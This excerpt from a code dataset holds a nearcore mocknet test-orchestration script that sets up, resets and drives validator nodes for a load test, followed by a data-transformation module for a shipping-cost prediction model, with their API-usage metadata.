"rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 108, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 108, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 113, "usage_type": "name"}, {"api_name": "levelupapi.models.Game", "line_number": 117, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 125, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 125, "usage_type": "name"}, {"api_name": "levelupapi.models.Game", "line_number": 127, "usage_type": "name"}]}
{"seq_id": "14990306871", "text": "#!/usr/bin/env python3\n\"\"\"\n\n\"\"\"\nfrom argparse import ArgumentParser, BooleanOptionalAction\nimport pathlib\nimport random\nfrom rc import pmap, run\nimport requests\nimport sys\nimport time\n\nsys.path.append(str(pathlib.Path(__file__).resolve().parents[2] / 'lib'))\n\nimport mocknet\n\nfrom configured_logger import logger\n\n\ndef get_nodes(args):\n    pattern = args.chain_id + '-' + str(\n        args.start_height) + '-' + args.unique_id\n    all_nodes = mocknet.get_nodes(pattern=pattern)\n    if len(all_nodes) < 1:\n        sys.exit(f'no known nodes matching {pattern}')\n\n    traffic_generator = None\n    nodes = []\n    for n in all_nodes:\n        if n.instance_name.endswith('traffic'):\n            if traffic_generator is not None:\n                sys.exit(\n                    f'more than one traffic generator instance found. {traffic_generator.instance_name} and {n.instance_name}'\n                )\n            traffic_generator = n\n        else:\n            nodes.append(n)\n\n    if traffic_generator is None:\n        sys.exit(f'no traffic generator instance found')\n    return traffic_generator, nodes\n\n\ndef run_cmd(node, cmd):\n    r = node.machine.run(cmd)\n    if r.exitcode != 0:\n        sys.exit(\n            f'failed running {cmd} on {node.instance_name}:\\nstdout: {r.stdout}\\nstderr: {r.stderr}'\n        )\n    return r\n\n\nLOG_DIR = '/home/ubuntu/logs'\nSTATUS_DIR = '/home/ubuntu/logs/status'\n\n\ndef run_in_background(node, cmd, log_filename, env=''):\n    setup_cmd = f'truncate --size 0 {STATUS_DIR}/{log_filename} '\n    setup_cmd += f'&& for i in {{8..0}}; do if [ -f {LOG_DIR}/{log_filename}.$i ]; then mv {LOG_DIR}/{log_filename}.$i {LOG_DIR}/{log_filename}.$((i+1)); fi done'\n    run_cmd(\n        node,\n        f'( {setup_cmd} && {env} nohup {cmd} > {LOG_DIR}/{log_filename}.0 2>&1; nohup echo \"$?\" ) > {STATUS_DIR}/{log_filename} 2>&1 &'\n    )\n\n\ndef wait_node_up(node):\n    while True:\n        try:\n            res = node.get_validators()\n            if 'error' not in res:\n                assert 'result' in res\n                logger.info(f'Node {node.instance_name} is up')\n                return\n        except (ConnectionRefusedError,\n                requests.exceptions.ConnectionError) as e:\n            pass\n        time.sleep(10)\n\n\ndef prompt_setup_flags(args):\n    if not args.yes:\n        print(\n            'this will reset all nodes\\' home dirs and initialize them with new state. continue? [yes/no]'\n        )\n        if sys.stdin.readline().strip() != 'yes':\n            sys.exit()\n\n    if args.epoch_length is None:\n        print('epoch length for the initialized genesis file?: ')\n        args.epoch_length = int(sys.stdin.readline().strip())\n\n    if args.num_validators is None:\n        print('number of validators?: ')\n        args.num_validators = int(sys.stdin.readline().strip())\n\n    if args.num_seats is None:\n        print('number of block producer seats?: ')\n        args.num_seats = int(sys.stdin.readline().strip())\n\n    if args.genesis_protocol_version is None:\n        print('genesis protocol version?: ')\n        args.genesis_protocol_version = int(sys.stdin.readline().strip())\n\n\ndef start_neard_runner(node):\n    run_in_background(node, f'/home/ubuntu/neard-runner/venv/bin/python /home/ubuntu/neard-runner/neard_runner.py ' \\\n        '--home /home/ubuntu/neard-runner --neard-home /home/ubuntu/.near ' \\\n        '--neard-logs /home/ubuntu/neard-logs --port 3000', 'neard-runner.txt')\n\n\ndef upload_neard_runner(node):\n    node.machine.upload('tests/mocknet/helpers/neard_runner.py',\n                        '/home/ubuntu/neard-runner',\n                        switch_user='ubuntu')\n    node.machine.upload('tests/mocknet/helpers/requirements.txt',\n                        '/home/ubuntu/neard-runner',\n                        switch_user='ubuntu')\n\n\ndef init_neard_runner(node, config, remove_home_dir=False):\n    stop_neard_runner(node)\n    rm_cmd = 'rm -rf /home/ubuntu/neard-runner && ' if remove_home_dir else ''\n    run_cmd(\n        node,\n        f'{rm_cmd}mkdir -p {LOG_DIR} && mkdir -p {STATUS_DIR} && mkdir -p /home/ubuntu/neard-runner'\n    )\n    upload_neard_runner(node)\n    mocknet.upload_json(node, '/home/ubuntu/neard-runner/config.json', config)\n    cmd = 'cd /home/ubuntu/neard-runner && python3 -m virtualenv venv -p $(which python3)' \\\n    ' && ./venv/bin/pip install -r requirements.txt'\n    run_cmd(node, cmd)\n    start_neard_runner(node)\n\n\ndef stop_neard_runner(node):\n    # it's probably fine for now, but this is very heavy handed/not precise\n    node.machine.run('kill $(ps -C python -o pid=)')\n\n\ndef prompt_init_flags(args):\n    if args.neard_binary_url is None:\n        print('neard binary URL?: ')\n        args.neard_binary_url = sys.stdin.readline().strip()\n        assert len(args.neard_binary_url) > 0\n\n    if args.neard_upgrade_binary_url is None:\n        print(\n            'add a second neard binary URL to upgrade to mid-test? enter nothing here to skip: '\n        )\n        url = sys.stdin.readline().strip()\n        if len(url) > 0:\n            args.neard_upgrade_binary_url = url\n\n\ndef init_neard_runners(args, traffic_generator, nodes, remove_home_dir=False):\n    prompt_init_flags(args)\n    if args.neard_upgrade_binary_url is None:\n        configs = [{\n            \"is_traffic_generator\": False,\n            \"binaries\": [{\n                \"url\": args.neard_binary_url,\n                \"epoch_height\": 0\n            }]\n        }] * len(nodes)\n        traffic_generator_config = {\n            \"is_traffic_generator\": True,\n            \"binaries\": [{\n                \"url\": args.neard_binary_url,\n                \"epoch_height\": 0\n            }]\n        }\n    else:\n        # for now this test starts all validators with the same stake, so just make the upgrade\n        # epoch random. If we change the stakes, we should change this to choose how much stake\n        # we want to upgrade during each epoch\n        configs = []\n        for i in range(len(nodes)):\n            configs.append({\n                \"is_traffic_generator\":\n                    False,\n                \"binaries\": [{\n                    \"url\": args.neard_binary_url,\n                    \"epoch_height\": 0\n                }, {\n                    \"url\": args.neard_upgrade_binary_url,\n                    \"epoch_height\": random.randint(1, 4)\n                }]\n            })\n        traffic_generator_config = {\n            \"is_traffic_generator\":\n                True,\n            \"binaries\": [{\n                \"url\": args.neard_upgrade_binary_url,\n                \"epoch_height\": 0\n            }]\n        }\n\n    init_neard_runner(traffic_generator, traffic_generator_config,\n                      remove_home_dir)\n    pmap(lambda x: init_neard_runner(x[0], x[1], remove_home_dir),\n         zip(nodes, configs))\n\n\ndef init_cmd(args, traffic_generator, nodes):\n    init_neard_runners(args, traffic_generator, nodes, remove_home_dir=False)\n\n\ndef hard_reset_cmd(args, traffic_generator, nodes):\n    print(\"\"\"\n        WARNING!!!!\n        WARNING!!!!\n        This will undo all chain state, which will force a restart from the beginning,\n        icluding the genesis state computation which takes several hours.\n        Continue? [yes/no]\"\"\")\n    if sys.stdin.readline().strip() != 'yes':\n        return\n    all_nodes = nodes + [traffic_generator]\n    pmap(stop_neard_runner, all_nodes)\n    mocknet.stop_nodes(all_nodes)\n    init_neard_runners(args, traffic_generator, nodes, remove_home_dir=True)\n\n\ndef restart_cmd(args, traffic_generator, nodes):\n    all_nodes = nodes + [traffic_generator]\n    pmap(stop_neard_runner, all_nodes)\n    if args.upload_program:\n        pmap(upload_neard_runner, all_nodes)\n    pmap(start_neard_runner, all_nodes)\n\n\n# returns boot nodes and validators we want for the new test network\ndef get_network_nodes(new_test_rpc_responses, num_validators):\n    validators = []\n    boot_nodes = []\n    for ip_addr, response in new_test_rpc_responses:\n        if len(validators) < num_validators:\n            if response['validator_account_id'] is not None:\n                # we assume here that validator_account_id is not null, validator_public_key\n                # better not be null either\n                validators.append({\n                    'account_id': response['validator_account_id'],\n                    'public_key': response['validator_public_key'],\n                    'amount': str(10**33),\n                })\n        if len(boot_nodes) < 20:\n            boot_nodes.append(\n                f'{response[\"node_key\"]}@{ip_addr}:{response[\"listen_port\"]}')\n\n        if len(validators) >= num_validators and len(boot_nodes) >= 20:\n            break\n    # neither of these should happen, since we check the number of available nodes in new_test(), and\n    # only the traffic generator will respond with null validator_account_id and validator_public_key\n    if len(validators) == 0:\n        sys.exit('no validators available after new_test RPCs')\n    if len(validators) < num_validators:\n        logger.warning(\n            f'wanted {num_validators} validators, but only {len(validators)} available'\n        )\n    return validators, boot_nodes\n\n\ndef new_test(args, traffic_generator, nodes):\n    prompt_setup_flags(args)\n\n    if args.epoch_length <= 0:\n        sys.exit(f'--epoch-length should be positive')\n    if args.num_validators <= 0:\n        sys.exit(f'--num-validators should be positive')\n    if len(nodes) < args.num_validators:\n        sys.exit(\n            f'--num-validators is {args.num_validators} but only found {len(nodes)} under test'\n        )\n\n    all_nodes = nodes + [traffic_generator]\n\n    logger.info(f'resetting/initializing home dirs')\n    test_keys = pmap(neard_runner_new_test, all_nodes)\n\n    validators, boot_nodes = get_network_nodes(\n        zip([n.machine.ip for n in all_nodes], test_keys), args.num_validators)\n\n    logger.info(\"\"\"setting validators: {0}\nThen running neard amend-genesis on all nodes, and starting neard to compute genesis \\\nstate roots. This will take a few hours. Run `status` to check if the nodes are \\\nready. After they're ready, you can run `start-traffic`\"\"\".format(validators))\n    pmap(\n        lambda node: neard_runner_network_init(\n            node, validators, boot_nodes, args.epoch_length, args.num_seats,\n            args.genesis_protocol_version), all_nodes)\n\n\ndef status_cmd(args, traffic_generator, nodes):\n    all_nodes = nodes + [traffic_generator]\n    statuses = pmap(neard_runner_ready, all_nodes)\n    num_ready = 0\n    not_ready = []\n    for ready, node in zip(statuses, all_nodes):\n        if not ready:\n            not_ready.append(node.instance_name)\n\n    if len(not_ready) == 0:\n        print(f'all {len(all_nodes)} nodes ready')\n    else:\n        print(\n            f'{len(all_nodes)-len(not_ready)}/{len(all_nodes)} ready. Nodes not ready: {not_ready[:3]}'\n        )\n\n\ndef reset_cmd(args, traffic_generator, nodes):\n    print(\n        'this will reset all nodes\\' home dirs to their initial states right after test initialization finished. continue? [yes/no]'\n    )\n    if sys.stdin.readline().strip() != 'yes':\n        sys.exit()\n    all_nodes = nodes + [traffic_generator]\n    pmap(neard_runner_reset, all_nodes)\n    logger.info(\n        'Data dir reset in progress. Run the `status` command to see when this is finished. Until it is finished, neard runners may not respond to HTTP requests.'\n    )\n\n\ndef stop_nodes_cmd(args, traffic_generator, nodes):\n    pmap(neard_runner_stop, nodes + [traffic_generator])\n\n\ndef stop_traffic_cmd(args, traffic_generator, nodes):\n    neard_runner_stop(traffic_generator)\n\n\ndef neard_runner_jsonrpc(node, method, params=[]):\n    j = {'method': method, 'params': params, 'id': 'dontcare', 'jsonrpc': '2.0'}\n    r = requests.post(f'http://{node.machine.ip}:3000', json=j, timeout=30)\n    if r.status_code != 200:\n        logger.warning(\n            f'bad response {r.status_code} trying to send {method} JSON RPC to neard runner on {node.instance_name}:\\n{r.content}'\n        )\n    r.raise_for_status()\n    return r.json()['result']\n\n\ndef neard_runner_start(node):\n    neard_runner_jsonrpc(node, 'start')\n\n\ndef neard_runner_stop(node):\n    neard_runner_jsonrpc(node, 'stop')\n\n\ndef neard_runner_new_test(node):\n    return neard_runner_jsonrpc(node, 'new_test')\n\n\ndef neard_runner_network_init(node, validators, boot_nodes, epoch_length,\n                              num_seats, protocol_version):\n    return neard_runner_jsonrpc(node,\n                                'network_init',\n                                params={\n                                    'validators': validators,\n                                    'boot_nodes': boot_nodes,\n                                    'epoch_length': epoch_length,\n                                    'num_seats': num_seats,\n                                    'protocol_version': protocol_version,\n                                })\n\n\ndef neard_update_config(node, state_cache_size_mb, state_snapshot_enabled):\n    return neard_runner_jsonrpc(\n        node,\n        'update_config',\n        params={\n            'state_cache_size_mb': state_cache_size_mb,\n            'state_snapshot_enabled': state_snapshot_enabled,\n        },\n    )\n\n\ndef update_config_cmd(args, traffic_generator, nodes):\n    nodes = nodes + [traffic_generator]\n    results = pmap(\n        lambda node: neard_update_config(\n            node,\n            args.state_cache_size_mb,\n            args.state_snapshot_enabled,\n        ),\n        nodes,\n    )\n    if not all(results):\n        logger.warn('failed to update configs for some nodes')\n        return\n\n\ndef neard_runner_ready(node):\n    return neard_runner_jsonrpc(node, 'ready')\n\n\ndef neard_runner_reset(node):\n    return neard_runner_jsonrpc(node, 'reset')\n\n\ndef start_nodes_cmd(args, traffic_generator, nodes):\n    if not all(pmap(neard_runner_ready, nodes)):\n        logger.warn(\n            'not all nodes are ready to start yet. Run the `status` command to check their statuses'\n        )\n        return\n    pmap(neard_runner_start, nodes)\n    pmap(wait_node_up, nodes)\n\n\ndef start_traffic_cmd(args, traffic_generator, nodes):\n    if not all(pmap(neard_runner_ready, nodes + [traffic_generator])):\n        logger.warn(\n            'not all nodes are ready to start yet. Run the `status` command to check their statuses'\n        )\n        return\n    pmap(neard_runner_start, nodes)\n    logger.info(\"waiting for validators to be up\")\n    pmap(wait_node_up, nodes)\n    logger.info(\n        \"waiting a bit after validators started before starting traffic\")\n    time.sleep(10)\n    neard_runner_start(traffic_generator)\n    logger.info(\n        f'test running. to check the traffic sent, try running \"curl http://{traffic_generator.machine.ip}:3030/metrics | grep mirror\"'\n    )\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser(description='Run a load test')\n    parser.add_argument('--chain-id', type=str, required=True)\n    parser.add_argument('--start-height', type=int, required=True)\n    parser.add_argument('--unique-id', type=str, required=True)\n\n    subparsers = parser.add_subparsers(title='subcommands',\n                                       description='valid subcommands',\n                                       help='additional help')\n\n    init_parser = subparsers.add_parser('init-neard-runner',\n                                        help='''\n    Sets up the helper servers on each of the nodes. Doesn't start initializing the test\n    state, which is done with the `new-test` command.\n    ''')\n    init_parser.add_argument('--neard-binary-url', type=str)\n    init_parser.add_argument('--neard-upgrade-binary-url', type=str)\n    init_parser.set_defaults(func=init_cmd)\n\n    update_config_parser = subparsers.add_parser(\n        'update-config',\n        help='''Update config.json with given flags for all nodes.''')\n    update_config_parser.add_argument('--state-cache-size-mb', type=int)\n    update_config_parser.add_argument('--state-snapshot-enabled',\n                                      action=BooleanOptionalAction)\n    update_config_parser.set_defaults(func=update_config_cmd)\n\n    restart_parser = subparsers.add_parser(\n        'restart-neard-runner',\n        help='''Restarts the neard runner on all nodes.''')\n    restart_parser.add_argument('--upload-program', action='store_true')\n    restart_parser.set_defaults(func=restart_cmd, upload_program=False)\n\n    hard_reset_parser = subparsers.add_parser(\n        'hard-reset',\n        help='''Stops neard and clears all test state on all nodes.''')\n    hard_reset_parser.add_argument('--neard-binary-url', type=str)\n    hard_reset_parser.add_argument('--neard-upgrade-binary-url', type=str)\n    hard_reset_parser.set_defaults(func=hard_reset_cmd)\n\n    new_test_parser = subparsers.add_parser('new-test',\n                                            help='''\n    Sets up new state from the prepared records and genesis files with the number\n    of validators specified. This calls neard amend-genesis to create the new genesis\n    and records files, and then starts the neard nodes and waits for them to be online\n    after computing the genesis state roots. This step takes a long time (a few hours).\n    ''')\n    new_test_parser.add_argument('--epoch-length', type=int)\n    new_test_parser.add_argument('--num-validators', type=int)\n    new_test_parser.add_argument('--num-seats', type=int)\n    new_test_parser.add_argument('--genesis-protocol-version', type=int)\n    new_test_parser.add_argument('--yes', action='store_true')\n    new_test_parser.set_defaults(func=new_test)\n\n    status_parser = subparsers.add_parser(\n        'status',\n        help='''Checks the status of test initialization on each node''')\n    status_parser.set_defaults(func=status_cmd)\n\n    start_traffic_parser = subparsers.add_parser(\n        'start-traffic',\n        help=\n        'Starts all nodes and starts neard mirror run on the traffic generator.'\n    )\n    start_traffic_parser.set_defaults(func=start_traffic_cmd)\n\n    start_nodes_parser = subparsers.add_parser(\n        'start-nodes',\n        help='Starts all nodes, but does not start the traffic generator.')\n    start_nodes_parser.set_defaults(func=start_nodes_cmd)\n\n    stop_parser = subparsers.add_parser('stop-nodes',\n                                        help='kill all neard processes')\n    stop_parser.set_defaults(func=stop_nodes_cmd)\n\n    stop_parser = subparsers.add_parser(\n        'stop-traffic',\n        help='stop the traffic generator, but leave the other nodes running')\n    stop_parser.set_defaults(func=stop_traffic_cmd)\n\n    reset_parser = subparsers.add_parser('reset',\n                                         help='''\n    The new_test command saves the data directory after the genesis state roots are computed so that\n    the test can be reset from the start without having to do that again. This command resets all nodes'\n    data dirs to what was saved then, so that start-traffic will start the test all over again.\n    ''')\n    reset_parser.set_defaults(func=reset_cmd)\n\n    args = parser.parse_args()\n\n    traffic_generator, nodes = get_nodes(args)\n    args.func(args, traffic_generator, nodes)\n", "repo_name": "near/nearcore", "sub_path": "pytest/tests/mocknet/mirror.py", "file_name": "mirror.py", "file_ext": "py", "file_size_in_byte": 19112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2127, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 13, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "mocknet.get_nodes", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 32, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 47, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 72, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 72, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 75, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 90, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 90, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 94, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 94, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 98, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 98, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 102, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 102, "usage_type": "attribute"}, {"api_name": "mocknet.upload_json", "line_number": 128, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 143, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 143, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 150, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 150, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 186, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 200, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 215, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 215, "usage_type": "attribute"}, {"api_name": "rc.pmap", "line_number": 218, "usage_type": "call"}, {"api_name": "mocknet.stop_nodes", "line_number": 219, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 225, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 227, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 228, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 254, "usage_type": "call"}, {"api_name": "configured_logger.logger.warning", "line_number": 256, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 256, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 266, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 268, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 270, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 276, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 276, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 277, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 282, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 282, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 286, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 294, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 313, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 313, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 314, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 316, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 317, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 317, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 323, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 332, "usage_type": "call"}, {"api_name": "configured_logger.logger.warning", "line_number": 334, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 334, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 379, "usage_type": "call"}, {"api_name": "configured_logger.logger.warn", "line_number": 388, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 388, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 401, "usage_type": "call"}, {"api_name": "configured_logger.logger.warn", "line_number": 402, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 402, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 406, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 407, "usage_type": "call"}, {"api_name": "rc.pmap", "line_number": 411, "usage_type": "call"}, {"api_name": "configured_logger.logger.warn", "line_number": 412, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 412, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 416, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 417, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 417, "usage_type": "name"}, {"api_name": "rc.pmap", "line_number": 418, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 419, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 419, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 421, "usage_type": "call"}, {"api_name": "configured_logger.logger.info", "line_number": 423, "usage_type": "call"}, {"api_name": "configured_logger.logger", "line_number": 423, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 429, "usage_type": "call"}, {"api_name": "argparse.BooleanOptionalAction", "line_number": 452, "usage_type": "name"}]}
{"seq_id": "7361996671", "text": "from ShippingCost.logger import logging\nfrom ShippingCost.exception import ShippingException\nfrom ShippingCost.entity import config_entity\nfrom ShippingCost.entity import artifact_entity\nimport sys, os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.impute import KNNImputer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import RobustScaler\nfrom ShippingCost.utils import save_numpy_array_data, load_numpy_array_data , save_object, load_object\n\n\n\nclass DataTransformation:\n    def __init__(self, \n                 data_validation_artifact: artifact_entity.DataValidationArtifact,\n                 data_transformation_config: config_entity.DataTransformationConfig) -> None:\n        \n        try:\n            self.data_transformation_config = data_transformation_config\n            self.data_validation_artifact = data_validation_artifact\n        \n        except Exception as e:\n            raise ShippingException(e, sys)\n            \n            \n            \n            \n    def random_imputation(self,df, cols):\n        try:\n            for col in cols:\n                imputed_col_values = np.random.choice(df[~df[col].isna()][col].values, size = df[col].isna().sum())\n                col_null_indices = df[df[col].isna()].index\n                df.loc[col_null_indices, col] = imputed_col_values\n            return df\n\n        except Exception as e:\n            raise ShippingException(e, sys)\n    \n    def remove_outliers_iqr(self,dataframe, cols):\n        \"\"\"\n        Remove outliers from a pandas DataFrame using the IQR method.\n        \n        Parameters:\n        dataframe (pandas.DataFrame): Input DataFrame.\n        cols (str): List of columns to remove outliers from.\n        \n        Returns:\n        pandas.DataFrame: DataFrame with outliers removed.\n        \n        \"\"\"\n        for col in cols:\n            data = dataframe[col]\n            Q1 = data.quantile(0.25)\n            Q3 = data.quantile(0.75)\n            IQR = Q3 - Q1\n            lower_bound = Q1 - 1.5 * IQR\n            upper_bound = Q3 + 1.5 * IQR\n            cleaned_dataframe = dataframe[(data > lower_bound) & (data < upper_bound)]\n        return cleaned_dataframe\n            \n    def initiate_data_transformation(self):\n        try:\n            logging.info(f\"{'<<'*20} Data Transformation {'>>' * 20}\")\n            logging.info('Loading validated dataset')\n            df = pd.read_csv(self.data_validation_artifact.validated_dataset_path)\n            #Randomly imputing missing values of Height, Width and Artist Reputation\n            df['Cost'] = df['Cost'].abs()\n            \n            \n            logging.info(f\"Null values before imputation in Height {df['Height'].isna().sum()}\")\n            logging.info('Randomly Imputing missing values of Height')\n            df = self.random_imputation(df , ['Height','Width', 'Artist Reputation', 'Remote Location','Transport','Material'])\n\n            \n            #Finding Numerical and Categorical Columns \n            cat_cols = [col for col in df.columns if df[col].dtype == 'object']\n            num_cols = ['Artist Reputation','Height','Width','Weight','Price Of Sculpture','Base Shipping Price']\n            \n            \n            logging.info(f'Categorical Columns {cat_cols}')\n            logging.info(f'Numerical Columns {num_cols}')\n            \n            #One-hot Encoding \n            \n            logging.info('One-hot Encoding the Categorical Columns')\n            logging.info(f'Shape of Dataframe before one hot encoding {df.shape}')\n            logging.info('Creating one-hot Encoder object')\n            encoder = OneHotEncoder(sparse_output= False, handle_unknown = 'ignore')\n            \n            logging.info('One hot encoding \"Material, International, Express Shipment, Installation Included, Transport, Fragile, Customer Information, Remote Location')\n            df_encoded = encoder.fit_transform(df[cat_cols])\n            df_encoded = pd.DataFrame(df_encoded,  columns = encoder.get_feature_names_out(cat_cols))\n            \n            logging.info('OneHotEncoding completed Successfully')\n            \n            \n            X = pd.concat([df[num_cols] , df_encoded], axis= 1)\n            logging.info(f'Shape of Dataframe after one hot encoding {X.shape}')\n\n            \n            #Performing KNN Imputation on dataset to impute values of weight column\n            logging.info('Imputing null values of Weight with KNN imputer')\n            logging.info(f\"Finding null values in weight {X['Weight'].isna().sum()}\")\n            imputer = KNNImputer(n_neighbors=5)\n            imputed_df = imputer.fit_transform(X)\n            X = pd.DataFrame(imputed_df, columns=X.columns)\n            logging.info(f\"Finding null values in weight {X['Weight'].isna().sum()}\")\n\n            df_new = pd.concat([X , df['Cost']], axis =1)\n\n            \n            \n            #Removing outliers\n            \n            logging.info(\"Removing Outliers from  'Height','Width','Weight','Price Of Sculpture'\")\n            logging.info(f\"Shape of the dataframe before removing outliers{df_new.shape}\")\n            df_new = self.remove_outliers_iqr(df_new, [ 'Height','Width','Weight','Price Of Sculpture'])\n                        \n            logging.info(f\"Shape of the dataframe after removing outliers{df_new.shape}\")\n            \n            logging.info('Separating target column from dataframe')\n            X = df_new.drop('Cost', axis = 1)\n            y = df_new['Cost']\n            \n            #Splitting training and testing data\n            logging.info(f'X_train feature names {X.columns} ')\n            logging.info('Splitting training and testing data')\n            X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = .3, random_state = 42)\n            \n            #Performing Feature Scaling\n            logging.info('Feature Scaling')\n            scaler = RobustScaler()\n            X_train = scaler.fit_transform(X_train)\n            X_test = scaler.transform(X_test)\n            \n            \n        \n            logging.info('Creating transformation path directory')\n            transformation_file_dir = os.path.dirname(self.data_transformation_config.data_transformation_dir)\n            os.makedirs(transformation_file_dir, exist_ok= True)\n            \n            \n            #Saving X_train, X_test, y_train, y_test in data transformation path\n            logging.info('Saving X_train, X_test, y_train, y_test in data transformation path')\n            save_numpy_array_data(file_path=self.data_transformation_config.Xtrain_dataset_path, array=X_train)\n            save_numpy_array_data(file_path=self.data_transformation_config.Ytrain_dataset_path, array=y_train)\n            save_numpy_array_data(file_path=self.data_transformation_config.Xtest_dataset_path, array=X_test)\n            save_numpy_array_data(file_path=self.data_transformation_config.Ytest_dataset_path, array=y_test)\n            logging.info('Saving One Hot Encoder Object')\n            save_object(file_path= self.data_transformation_config.ohe_object_path, obj=encoder)\n            save_object(file_path=self.data_transformation_config.scaler_object_path, obj = scaler)\n        \n            logging.info('Successfully saved Train, test dataset, one hot encoder object and scaler object')\n            \n            \n            \n            \n            #Creating Data Transformation Artifact\n            logging.info('Creating data transformation Artifact')\n            data_transformation_artifact = artifact_entity.DataTransformationArtifact(Xtrain_dataset_path =self.data_transformation_config.Xtrain_dataset_path,\n                                                                                      Xtest_dataset_path= self.data_transformation_config.Xtest_dataset_path,\n                                                                                      Ytrain_dataset_path=self.data_transformation_config.Ytrain_dataset_path,\n                                                                                      Ytest_dataset_path=self.data_transformation_config.Ytest_dataset_path,\n                                                                                      ohe_object_path= self.data_transformation_config.ohe_object_path,\n                                                                                      scaler_object_path=self.data_transformation_config.scaler_object_path\n                                                                                    )\n            \n            logging.info(f'Data Transformation Artifact {data_transformation_artifact}')\n\n            \n            return data_transformation_artifact\n\n            \n        except Exception as e:\n            raise ShippingException(e, sys)\n            ", "repo_name": "jainrachit108/Art-Exihibition-Shipping-Cost-Prediction", "sub_path": "ShippingCost/components/data_transformation.py", "file_name": "data_transformation.py", "file_ext": "py", "file_size_in_byte": 8808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ShippingCost.entity.artifact_entity.DataValidationArtifact", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ShippingCost.entity.artifact_entity", "line_number": 18, "usage_type": "name"}, {"api_name": "ShippingCost.entity.config_entity.DataTransformationConfig", "line_number": 19, "usage_type": "attribute"}, {"api_name": "ShippingCost.entity.config_entity", "line_number": 19, "usage_type": "name"}, {"api_name": "ShippingCost.exception.ShippingException", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 34, "usage_type": "call"}, 